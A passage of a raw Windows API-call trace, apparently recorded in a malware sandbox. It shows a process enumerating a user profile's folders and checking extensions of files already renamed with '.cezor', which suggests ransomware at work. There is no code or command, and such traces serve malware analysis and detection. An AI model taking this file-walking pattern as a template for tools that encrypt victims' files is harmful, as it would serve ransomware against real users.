nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0122.671] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14ccc030, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ccc030, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0122.671] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14ccc030, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ccc030, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0122.671] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.672] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.672] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0122.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.672] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.672] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.672] PathFindFileNameW (pszPath="") returned="" [0122.672] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.672] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.672] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0122.672] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0122.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0122.672] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0122.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0122.672] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0122.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0122.672] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0122.672] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.673] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.673] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0122.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.673] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.673] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.673] PathFindFileNameW (pszPath="") returned="" [0122.673] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0122.673] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.673] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0122.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.673] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.674] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.674] PathFindFileNameW (pszPath="") returned="" [0122.674] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1468c670, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1468c670, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d22bcb0, ftCreationTime.dwHighDateTime=0x1d4c60c, ftLastAccessTime.dwLowDateTime=0x63b63d70, ftLastAccessTime.dwHighDateTime=0x1d4c6cd, ftLastWriteTime.dwLowDateTime=0x144e9750, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x14ea6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-Utu5uTreh3_BFU.mp3.cezor", cAlternateFileName="-UTU5U~1.CEZ")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Utu5uTreh3_BFU.mp3.cezor") returned=".cezor" [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb85e50, ftCreationTime.dwHighDateTime=0x1d4d4e0, ftLastAccessTime.dwLowDateTime=0xf39d96a0, ftLastAccessTime.dwHighDateTime=0x1d4c60e, ftLastWriteTime.dwLowDateTime=0x1450f8b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x10034, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ZgBE.wav.cezor", cAlternateFileName="2ZGBEW~1.CEZ")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2ZgBE.wav.cezor") returned=".cezor" [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd14f1010, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0xed0a5370, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0x1450f8b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x56d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3lDgGO6UTyrOsMHE.mp3.cezor", cAlternateFileName="3LDGGO~1.CEZ")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3lDgGO6UTyrOsMHE.mp3.cezor") returned=".cezor" [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42861c80, ftCreationTime.dwHighDateTime=0x1d4d030, ftLastAccessTime.dwLowDateTime=0x3982c970, ftLastAccessTime.dwHighDateTime=0x1d4d58b, ftLastWriteTime.dwLowDateTime=0x14535a10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x14b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5V1FT5g1rxSJJ41de.m4a.cezor", cAlternateFileName="5V1FT5~1.CEZ")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5V1FT5g1rxSJJ41de.m4a.cezor") returned=".cezor" [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7767c00, ftCreationTime.dwHighDateTime=0x1d4ce07, ftLastAccessTime.dwLowDateTime=0x80224220, ftLastAccessTime.dwHighDateTime=0x1d4d25c, ftLastWriteTime.dwLowDateTime=0x1455bb70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x106a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7HJiH UDq9SzzeN5I.m4a.cezor", cAlternateFileName="7HJIHU~1.CEZ")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7HJiH UDq9SzzeN5I.m4a.cezor") returned=".cezor" [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f527c90, ftCreationTime.dwHighDateTime=0x1d4cd33, ftLastAccessTime.dwLowDateTime=0x2f5e7490, ftLastAccessTime.dwHighDateTime=0x1d4ccc5, ftLastWriteTime.dwLowDateTime=0x1455bb70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x12ad5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8ywMFiXrJ1mJNTYk.wav.cezor", cAlternateFileName="8YWMFI~1.CEZ")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8ywMFiXrJ1mJNTYk.wav.cezor") returned=".cezor" [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x14dd69d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14dd69d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bAXbPKiwKvGBE_6IlyS", cAlternateFileName="BAXBPK~1")) returned 1 [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0122.674] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc2c61a0, ftCreationTime.dwHighDateTime=0x1d4c5ff, ftLastAccessTime.dwLowDateTime=0x6c755760, ftLastAccessTime.dwHighDateTime=0x1d4c65b, ftLastWriteTime.dwLowDateTime=0x14581cd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x35e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fnpi8zzFvSVq9mHNij76.wav.cezor", cAlternateFileName="FNPI8Z~1.CEZ")) returned 1 [0122.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Fnpi8zzFvSVq9mHNij76.wav.cezor") returned=".cezor" [0122.675] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf63ff3d0, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0x8fc57a30, ftLastAccessTime.dwHighDateTime=0x1d4d1d5, ftLastWriteTime.dwLowDateTime=0x14581cd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x12cf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HX-X27lPA60A4.m4a.cezor", cAlternateFileName="HX-X27~1.CEZ")) returned 1 [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HX-X27lPA60A4.m4a.cezor") returned=".cezor" [0122.675] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28b5530, ftCreationTime.dwHighDateTime=0x1d4d17f, ftLastAccessTime.dwLowDateTime=0xdf384110, ftLastAccessTime.dwHighDateTime=0x1d4c631, ftLastWriteTime.dwLowDateTime=0x145a7e30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i0vpbCxKUDj27FIiTrf.wav.cezor", cAlternateFileName="I0VPBC~1.CEZ")) returned 1 [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\i0vpbCxKUDj27FIiTrf.wav.cezor") returned=".cezor" [0122.675] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35c1b70, ftCreationTime.dwHighDateTime=0x1d4c7a9, ftLastAccessTime.dwLowDateTime=0xdbbf43f0, ftLastAccessTime.dwHighDateTime=0x1d4c8c3, ftLastWriteTime.dwLowDateTime=0x145a7e30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x45da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KbAGa_jf9A0p1.mp3.cezor", cAlternateFileName="KBAGA_~1.CEZ")) returned 1 [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KbAGa_jf9A0p1.mp3.cezor") returned=".cezor" [0122.675] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f22d30, ftCreationTime.dwHighDateTime=0x1d4c85b, ftLastAccessTime.dwLowDateTime=0xa5e0b9d0, ftLastAccessTime.dwHighDateTime=0x1d4c701, ftLastWriteTime.dwLowDateTime=0x145cdf90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7402, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LgZcOmajdnsesY.m4a.cezor", cAlternateFileName="LGZCOM~1.CEZ")) returned 1 [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LgZcOmajdnsesY.m4a.cezor") returned=".cezor" [0122.675] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc6bb90, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xc300d8a0, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0x145cdf90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x15c29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nexJic6.wav.cezor", cAlternateFileName="NEXJIC~1.CEZ")) returned 1 [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nexJic6.wav.cezor") returned=".cezor" [0122.675] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac75b60, ftCreationTime.dwHighDateTime=0x1d4d140, ftLastAccessTime.dwLowDateTime=0xd249dc90, ftLastAccessTime.dwHighDateTime=0x1d4d45d, ftLastWriteTime.dwLowDateTime=0x145f40f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xe76e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NN082DlMLC6MxmlQyS42.wav.cezor", cAlternateFileName="NN082D~1.CEZ")) returned 1 [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NN082DlMLC6MxmlQyS42.wav.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tbTKJ0ZxbS6wZlGEphR.wav.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ucbmmg-N-J.wav.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wAomAj1M-1.mp3.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wEWdm1lt.wav.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wHquroq M2bDSunIrjJ.wav.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\XQtttNc8l WMW7IPg.m4a.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_9l8.wav.cezor") returned=".cezor" [0122.675] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_D7Y.m4a.cezor") returned=".cezor" [0122.676] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.676] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.676] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0122.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.676] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.676] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.676] PathFindFileNameW (pszPath="") returned="" [0122.676] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x29c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a.cezor", cAlternateFileName="_D7YM4~1.CEZ")) returned 0xffffffff [0122.676] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.676] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0122.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.676] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.676] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.676] PathFindFileNameW (pszPath="") returned="" [0122.676] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x29c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a.cezor", cAlternateFileName="_D7YM4~1.CEZ")) returned 0xffffffff [0122.677] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.677] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0122.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.677] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.677] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.677] PathFindFileNameW (pszPath="") returned="" [0122.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, 